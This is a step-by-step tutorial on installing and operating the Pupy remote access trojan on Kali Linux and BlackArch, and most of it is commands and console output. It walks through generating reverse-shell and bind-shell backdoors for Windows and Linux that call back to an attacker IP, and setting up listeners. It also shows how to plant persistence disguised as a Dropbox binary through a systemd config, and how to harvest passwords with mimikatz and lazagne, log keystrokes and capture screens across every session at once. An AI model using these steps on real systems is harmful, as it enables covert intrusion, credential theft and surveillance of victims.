Pupy rat is an open source tool for cross-platform remote administration (Windows, Linux, OSX, Android are supported as “clients”) and subsequent exploitation (post-exploitation). Written mostly in Python.

Simply put, this program, which can create backdoors for different systems, perform actions for attaching to remote systems, perform exploits to collect data, increase the privileges of downloading and uploading files, capture the screen, capture keystrokes, etc. as well as other similar tools, also perfectly is suitable for legitimate remote administration of systems.

Potential Pupy Uses:

Safety studies

Education

Penetration Testing

System administration

Privacy projects focused on python, requiring minimal interaction with persistent storage (so as not to leave traces on the hard disk)

And other…

This is one of several articles about Pupy rat in which the installation is described step by step. The following articles will discuss the principles of the program, basic concepts, practical examples of use.

How to install Pupy rat in Kali Linux

The author of the program offers two installation options: directly to the system and using Docker.

This program has a bug (about it will be slightly lower) due to incompatibility with the latest version of one of the Python modules. This bug leads to the fact that Pupy rat, in fact, does not work in listening mode (it cannot accept connections). When using Docker, errors are not displayed on the screen and it is difficult to understand what the problem is. But much worse is that it is not clear how to fix the problem with the library in this container.

Therefore, I will consider two options for installation directly into the system and using Docker but I recommend using the installation option directly into the system.

Installing Pupy on Kali Linux without Docker

Run the following commands:

sudo apt install git libssl1.0-dev libffi-dev python-dev python-pip build-essential swig tcpdump python-virtualenv git clone --recursive https://github.com/n1nj4sec/pupy cd pupy python create-workspace.py -DG pupyw

Roll fix to fix the error:

sudo pip2 install rpyc==3.4.4

For start:

export PATH=$PATH:~/.local/bin; pupysh pupyws/bin/pupysh

Installing Pupy on Kali Linux using Docker

To install and run Docker, run the following commands:

git clone https://github.com/alxchk/pupy cd pupy

Open the install.sh file and replace the line there:

if [ "$EUID" == 0 ]

to

if [ "$EUID" == 100500 ]

Then run the commands:

./install.sh sudo pip uninstall backports.ssl-match-hostname sudo apt-get install python-backports.ssl-match-hostname

To run the program:

./start-compose.sh

how to install Pupy on BlackArch

Installation in BlackArch is as follows:

sudo pacman -S pupy

To fix the bug, you need to remove the new version of one of the Python packages, so that the system does not remove Pupy rat itself, for which this file is a mandatory dependency:

sudo pacman -Rdd python2-rpyc

And install a version that does not cause problems:

sudo pip2 install rpyc==3.4.4

True, the files generated in BlackArch I refuse to connect to the monitoring computer …

Solving the problem with the “Cannot read wireshark manuf database” error When you run Pupy rat, see if the line is there:

Cannot read wireshark manuf database

If present, then there is a serious error. Details about this bug here: https://github.com/n1nj4sec/pupy/issues/622

The problem is that when the Victim’s computer tries to connect to the Attacker’s computer, the following error appears:

Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored Exception in thread Authentication Thread (192.168.1.117:49824): Traceback (most recent call last): File "/usr/lib/python2.7/threading.py", line 801, in __bootstrap_inner self.run() File "/usr/lib/python2.7/threading.py", line 754, in run self.__target(*self.__args, **self.__kwargs) File "/usr/share/pupy/network/lib/servers.py", line 135, in _setup_connection config=config File "/usr/share/pupy/network/lib/connection.py", line 269, in __init__ Connection.__init__(self, *args, **kwargs) TypeError: __init__() got an unexpected keyword argument '_lazy' Exception AttributeError: AttributeError("'PupyConnection' object has no attribute '_closed'",) in <object failed="" repr=""> ignored </object></object>

That is, the listening mode for the reverse shell in Pupy does not actually work.

The problem is solved by lowering the version of the rpyc package to 3.4.4 :

sudo pip2 install rpyc==3.4.4

How to use pupy rat

how to create a backdoor with Pupy rat

To generate a working payload, we need a clear understanding of how and what works, and before starting work you need to understand terms like:

transports

launchers

listeners

payloads

Transport

Transport is how (using what protocols and technologies) the server and the client transfer information between themselves.

The following options are available:

ssl (used by default): TCP transport wrapped in SSL.

(used by default): TCP transport wrapped in SSL. rsa : Authentication and encryption using RSA and AES256, often combined with other protocols.

: Authentication and encryption using RSA and AES256, often combined with other protocols. ssl_rsa : Like ssl , but embedded in the rsa layer.

: Like ssl , but embedded in the rsa layer. websocket :

: aes : Uses static key AES256.

: Uses static key AES256. http : Makes traffic look like regular HTTP + is embedded in the rsa layer .

: Makes traffic look like regular HTTP + is embedded in the rsa layer . obfs3 : A protocol that prevents third parties from determining which protocol is being used based on the content of the messages. For greater security, Obfs3 is embedded in the rsa layer .

: A protocol that prevents third parties from determining which protocol is being used based on the content of the messages. For greater security, Obfs3 is embedded in the rsa layer . scramblesuit : A polymorphic network protocol for circumventing censorship. Scramblesuit is folded with an RSA layer for better security.

: A polymorphic network protocol for circumventing censorship. Scramblesuit is folded with an RSA layer for better security. udp : Rsa layer but via UDP (may be unstable, does not solve problems with packets lost during transmission).

: Rsa layer but via UDP (may be unstable, does not solve problems with packets lost during transmission). others : Layers are of little interest and are given as code examples: (dummy, base64, XOR, …).

All transports can be wrappers for each other (stackable).

This means that by creating a custom transport configuration (pupy/network/transport/<transport_name>/conf.py), you can make your pupy rat session look anything you want. For example, you can add HTTP via HTTP via base64 via HTTP via AES via obfs3.

Launchers

Launchers allow pupy to run custom actions before launching a reverse connection.

connect : A connection is being made from the remote computer to the attacker.

: A connection is being made from the remote computer to the attacker. bind : The remote computer starts listening on the port while waiting for a connection to it.

: The remote computer starts listening on the port while waiting for a connection to it. auto_proxy : Get a list of possible SOCKS / HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY

: Get a list of possible SOCKS / HTTP proxies and try each one of them. Proxy extraction methods: registry, WPAD requests, gnome settings, variable env HTTP_PROXY dnscnc : DNS exfiltration

Launcher connect is commonly called the Reverse Shell. And bind is what is usually called simply Shell.

Listeners

Listeners (listeners) – are used with connect connect , that is, with Reverse Shell, when you need to wait for a connection from a remote computer.

If bind is selected as the launcher , then we do not need a listener on our computer – we just need to connect to the remote system right away.

Listeners should get two parameters at startup:

port to which sub-wiring will be made

to which sub-wiring will be made transport that uses payload

By default, the launcher tries to listen on port 443 using the ssl transport . This configuration can be changed in the pupy.conf file . How to add your own listeners will be described below.

Payload format

Pupy can create files for various operating systems: Windows, Linux, OSX, Android. Various processor architectures are supported (64-bit and 32-bit). When creating a payload, you need to specify this data in the parameters. This primarily refers to executable files — that is, for executable files, you need to specify, for example, that the backdoor should be running in the Windows operating system with a 64-bit processor architecture.

Pupy is able to create not only executable files, but also other formats, namely:

client : executable files to run on the target machine (.exe, .dll, .lin, .so).

: executable files to run on the target machine (.exe, .dll, .lin, .so). py : python file.

: python file. pyinst : python file ready for use with pyinstaller.

: python file ready for use with pyinstaller. py_oneliner : python oneliner (that is, executable code on one line) (starts the listening server in the background)

: python oneliner (that is, executable code on one line) (starts the listening server in the background) ps1 : powershell file.

: powershell file. ps1_oneliner : powershell oneliner (starts the listening server in the background).

: powershell oneliner (starts the listening server in the background). rubber_ducky : useful with rubber ducky.

The payload can be generated in two ways: using a separate pupygen.py file , or by running Pupy and using the command in the console

gen

You can choose any option – these methods have identical launch options. I will show you the example of working in the Pupy session, so I start by running this program.

Run Pupy

Starting a Pupy session varies depending on the installation method. When installed directly into the system, the session starts like this:

export PATH=$PATH:~/.local/bin; pupysh

When you first start generating keys and certificates that are used in the program to encrypt connections to remote systems:

They are saved to the /root/.config/pupy/crypto/credentials.py file . Gen options

As mentioned above, gen (and pupygen.py ) are used to generate the payload and they have the same options. Consider them.

Using:

gen [-h] [-f {client,py,pyinst,py_oneliner,ps1,ps1_oneliner,rubber_ducky,csharp,.NET,.NET_oneliner}] [-O {android,windows,linux,solaris}] [-A {x86,x64}] [-U] [-P PACKER] [-S] [-o OUTPUT] [-d < ATTEMPTS > < MIN SEC > < MAX SEC >] [-D OUTPUT_DIR] [-s SCRIPTLET] [-l] [-E] [--no-use-proxy] [--oneliner-nothidden] [--debug-scriptlets] [--debug] [--workdir WORKDIR] [{bind,auto_proxy,dnscnc,connect}] ...

Options:

positional arguments: {bind, auto_proxy, dnscnc, connect} Choice launcher. Loncher do payload which, when started, behaves differently. launcher_args launcher options optional arguments: -h, --help show help and exit -f {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp, .NET, .NET_oneliner}, --format {client, py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky, csharp. NET_oneliner} (default: client) -O {android, windows, linux, solaris}, --os {android, windows, linux, solaris} Target OS (default: windows) -A {x86, x64}, --arch {x86, x64} Target architecture (default: x86) -U, --uncompressed Use uncompressed pattern -P PACKER, --packer PACKER Use packer when output format is 'client' (default:) -S, --shared Create a shared (shared) object -o OUTPUT, --output OUTPUT output file name -d , --delays-list Format: -D OUTPUT_DIR, --output-dir OUTPUT_DIR output folder (default: /root/.config/pupy/output) -s SCRIPTLET, --scriptlet SCRIPTLET offline python scripts to run before launch connections. You can specify multiple scriptlets. -l, --list list available formats, transporters, scriptlets and options -E, --prefer-external In the case of auto-detect, prefer external IP --no-use-proxy Do not use the proxy target configuration, even if it is used by the target (for now only for ps1_oneliner) --oneliner-nothidden Powershell script is not hidden by the target side (default: False) --debug-scriptlets do not catch exceptions in scriptlets on the client for debugging purposes --debug to build with a debug pattern (payload opens console) --workdir WORKDIR Set working folder (Default = current working folder)

As you can see, some values ​​are set by default. If you run the command

gen

without any options, the payload will be generated, it will take the following values ​​as default values:

payload format: client

launcher: connect (i.e. reverse shell to our machine)

(i.e. reverse shell to our machine) as the IP address is taken automatically determined by our address

determined by our address port for connection: 443

platform: windows / x86

Transportation: ssl

But we, of course, can reconfigure all these options with our parameters.

All options are discussed above, so it makes no sense to explain the commands in detail – if you find something incomprehensible to them, then return to their description.

Let’s start by creating a reverse shell – in this case, the remote computer (“Victim”) is connected to the “Attacker” computer. Therefore, when creating a payload, you need to specify the IP address to which the Victim should connect. For example, the IP addresses of their interfaces can be viewed with the command

ip a

I will do tests on the local network, the Attacker’s computer has a local address of 192.168.1.112 – so I will use it, and you will replace it with your value. To create a reverse shell for the 64-bit Windows platform that will connect to port 43210 at the IP address 192.168.1.112 using the http transport :

gen -f client -O windows -A x64 connect --host 192.168.1.112:43210 -t http

All is ready:

File successfully created and saved by the path /root/.config/pupy/output/pupyx64.KrN0Qe.exe

Rename and copy it to a closer path:

!cp /root/.config/pupy/output/pupyx64.KrN0Qe.exe /root/reverse.exe

Since a connection to our computer will be made from a remote computer, before running the newly created file on the target system, we need to create a listener that will wait to connect to it.

By the way, when you start Pupy rat, one listener starts automatically, say this line:

[*] Listen: ssl: 443

That it, there is a listener for ssl transport on port 443 .

New listeners are created, deleted and shown with the listen command .

how to Create pupy rat listeners

Using:

listen [-h] [-l | -L | -a TRANSPORT [TRANSPORT_ARG1 ...] | -A TRANSPORT [TRANSPORT_ARG1 ...] | -r TRANSPORT]

Optional arguments:

-h, --help show help and exit -l, --list show listeners -L, --list-transports show available transports -a TRANSPORT [TRANSPORT_ARG1 ...], --add TRANSPORT [TRANSPORT_ARG1 ...] run the listener -A TRANSPORT [TRANSPORT_ARG1 ...], --add-no-pproxy TRANSPORT [TRANSPORT_ARG1 ...] start the listener (ignoring proxy) -r TRANSPORT, --remove TRANSPORT stop listener

Since for my payload I chose the http transport , and indicated 43210 as the port , the listener in my case starts like this:

listen -a http 43210

The general view of the command is:

listen -a TRANSPORT PORT

Line

[+] Listen: http: 43210

Says that everything went well.

Let’s list all listeners:

listen -l

Everything is ready – now I transfer the file with the payload to the target system and run it there.

A few seconds after the launch, the attacker’s computer will be connected to and the following information will appear:

[*] Session 1 opened (Alex@DESKTOP-IGFN39T) (('192.168.1.112', 43210) <- 192.168.1.101:49751="" code="">

We will move on to managing sessions, executing commands on a remote machine, and operating in the next section. In the meantime, consider a few more popular examples of payload generation.

Pupy rat Backdoor for Windows

To create a shell that will open port 54321 for 64-bit Windows and wait for a connection from the remote computer via the http transport, run the following command:

gen -f client -O windows -A x64 bind --port 54321 -t http

In this case, we do not specify an IP address, since this payload is not connected anywhere. But we specify the port – this port will be opened on the computer of the Victim, waiting for the Attacker to connect.

Backdoor connection To connect, use the connect command . Consider her options.

Using:

connect [-h] -c </ font> [-t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}]

Connect options

positional arguments: </ font> transport_args Transport Arguments: key = value key = value ... </ font> </ font> optional arguments: </ font> -h, --help show help and exit </ font> -c , --host </ font> host: the port of the pupy server to connect to. You can </ font> specify several arguments --host arguments for trying </ font> connections to multiple IPs </ font> -t {obfs3, http, ssl, ecm, tcp_cleartext, dfws, rsa, udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa}, --transport {obfs3, http, ssl, ecm, tccrs, http, ssl, ssl_rsa} udp_secure, kc4, ec4, ws, scramblesuit, udp_cleartext, ssl_rsa} </ font> Used transport

As you can see, be sure to specify the IP and port connections. Transportation can be omitted.

By the way, in Windows, the IP address can be found with the command

ipconfig /all

To connect to port 54321 of the host 192.168.1.101:

connect -c 192.168.1.101:54321

Pupy Linux backdoor

For Linux, you can also create a reverse shell and a regular shell.

To create a reverse shell:

gen -f client -O linux -A x64 connect --host 192.168.1.112:44445 -t http

The listener runs exactly as shown above

listen -a http 44445

To create a backdoor that will wait for a connection from us:

gen -f client -O linux -A x64 bind --port 44446 -t http

To connect to it:

connect -c localhost:44446

How to remotely manage computers through backdoor

Work with connected sessionsThe sessions command performs tasks related to session management:

display a list of connected remote computers

selecting a session to send a command to a computer

disconnect from one or all computers at once

Using:

sessions [-h] [-i ] [-g] [-k] [-K] [-d] [-D]

Optional arguments:

-h, --help -i , --interact change default value --filter for other commands -g, --global-reset reset --interact to standard global behavior -k Kill selected session -K kill all sessions -d Reset connection (abruptly close the socket) -D Reset all connections

By default, all the commands that you enter to run on remote systems (launching modules) pupy rat executes immediately on all connected clients. Thanks to this, you can, for example, run mimikatz on all connected clients with one command and collect passwords everywhere at once.

To display the list of sessions run the command:

sessions

Pupy rat commands to run on a remote computer

In fact, this is not called commands, but modules, because, in fact, on remote computers you can execute any commands that support these systems.

As for the modules, they contain some frequently used commands, as well as combined actions, including using third-party tools (for example, to extract all passwords).

To run the command, you need to use the row that is in the ” Name ” column .For example, to display a list of disks on all systems, run the command:

drives

To get help on a module, enter its name with the -h option. For example, I want to learn help for the persistence module (enabling and disabling pinning):

persistence -h

Using:

persistence [-h] [-s] [-p USEFUL LOAD] [-n NAME] [-m METHOD] [-l] [--remove]

Optional arguments:

-h, --help show help and exit -s, --shared to prefer shared objects (linux only) -p PAYLOAD remote path or command to execute on login (windows only) -n NAME specify a name to use (windows only) -m METHOD must be an ID to get a list of available methods. run with option (-l) (windows only) -l list all possible techniques for this host (windows only) --remove remove pin

An example of creating a backdoor on a remote system that will start when the computer starts:

------------------------------------------------------------------------------------------------------------------------------------------- >> PupyClient(id=2, user=mial, hostname=HackWare, platform=Linux) << ------------------------------------------------------------------------------------------------------------------------------------------- { Configuration } KEY VALUE -------------------------------------------------- launcher connect launcher_args --host 192.168.1.53:43210 -t http cid 3263277090 [+] Required credentials (found) + SSL_BIND_CERT + SIMPLE_RSA_PRIV_KEY + SIMPLE_RSA_PUB_KEY [+] Generating the payload with the current config from pupyx64.lin - size=3713536 [+] Dropped: /home/mial/.dropbox-dist/dropboxc Method: Systemd Config: /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf

This entry means that the configuration file for autorun is saved along the path /home/mial/.config/systemd/user/dbus.service.d/hgzenu.conf , and the executable itself is stored in /home/mial/.dropbox-dist/ dropboxc

Some more examples.

To view information about network connections on remote systems:

netstat

To retrieve all passwords:

lazagne

Or:

mimikatz

Keystroke Invader:

keylogger

Getting information about systems:

get_info

To get screenshots of desktops of remote computers:

screenshot

Execution of commands only on certain remote systems

You can switch between sessions, for example, to switch to the first session so that the commands entered are executed only on it:

sessions -i 1

It is not necessary to specify the session number – various filters are supported, thanks to which you can select one or several systems at once. For example, to interact only with all Windows 7:

sessions -i 'platform:Windows release:7'

Filtering by various parameters is supported, you can see them all by running the command:

get_info

Use autocompletion! When entering commands, press the TAB key to complete the names of commands and options. Screen your arguments

Each command in the pupy shell uses unix-like escape syntax. If you need a space in one of your arguments, you need to put your argument between the quotes:

shell_exec 'tasklist /V'

If you send the path to Windows, you need to escape the backslash with one more – the second backslash, or put everything in quotes:

download 'C:\Windows\System32\cmd.exe'

Or:

download C:\\Windows\\System32\\cmd.exe

Create nicknames To improve performance, you can specify module aliases in the pupy.conf file . If you define an alias as follows:

shell=interactive_shell

then start the team

shell

will be equivalent to running the command:

interactive_shell

An example of creating a pseudonym for adding a command to kill a client process pupy rat with signal 9:

killme = pyexec -c 'import os;os.kill(os.getpid(),9)'

Works Jobs are teams running in the background. Some modules, such as socks5proxy or portfwd , automatically start work, but all modules can be started as work if you use the –bg argument :

run --bg shell_exec 'tasklist /V' [%] job < shell_exec ['tasklist /V'] > started in background !

Using:

jobs [-h] [-k | -K ] [-l] [-p ]

Optional arguments:

-h, --help show help and exit -k , --kill close the job, but before that show its current output -K , --kill-no-output close work without showing output -l, --list list of jobs -p , --print-output print job output

The –bg switch is usually used when you want to execute a long command / module and you want the shell to remain functional during its operation.

The output of the work can be obtained at any time using the command

jobs -p

The jobs command can also display a list of jobs and complete jobs.

Normal jobs can be installed in your Linux / Unix desktop environment by running your pupysh.py script inside the Screen utility. You can then configure cronjobs to run the command at any intervals you require. Replace 1674 with your screen session ID. The echo command in this example essentially emulates pressing the Enter key:

screen -S 1674 -X stuff 'this is an example command'$(echo -ne '\015')

Run command

This command is needed to run modules, but you can skip it if you are not going to use additional features, such as executing a command in the background, saving results to a file and / or only for certain clients.

Using:

run [-h] [-1] [-o OUTPUT] [-f ] [-b] ...

Options:

positional arguments: module module arguments optional arguments: -h, --help show help and exit -1, --once Unload new depot after use -o OUTPUT, --output OUTPUT save the command output to a file.% t is a timestamp,% h is a host, % m - MAC address,% c - short client name,% M - module name,% p - platform,% u - user,% a - IP address -f , --filter perform on clients matching the filter. Everything fields that can be filtered can be seen in the module "info". For example: run get_info -f 'platform: win release: 7 os_arch: 64' -b, --background run in background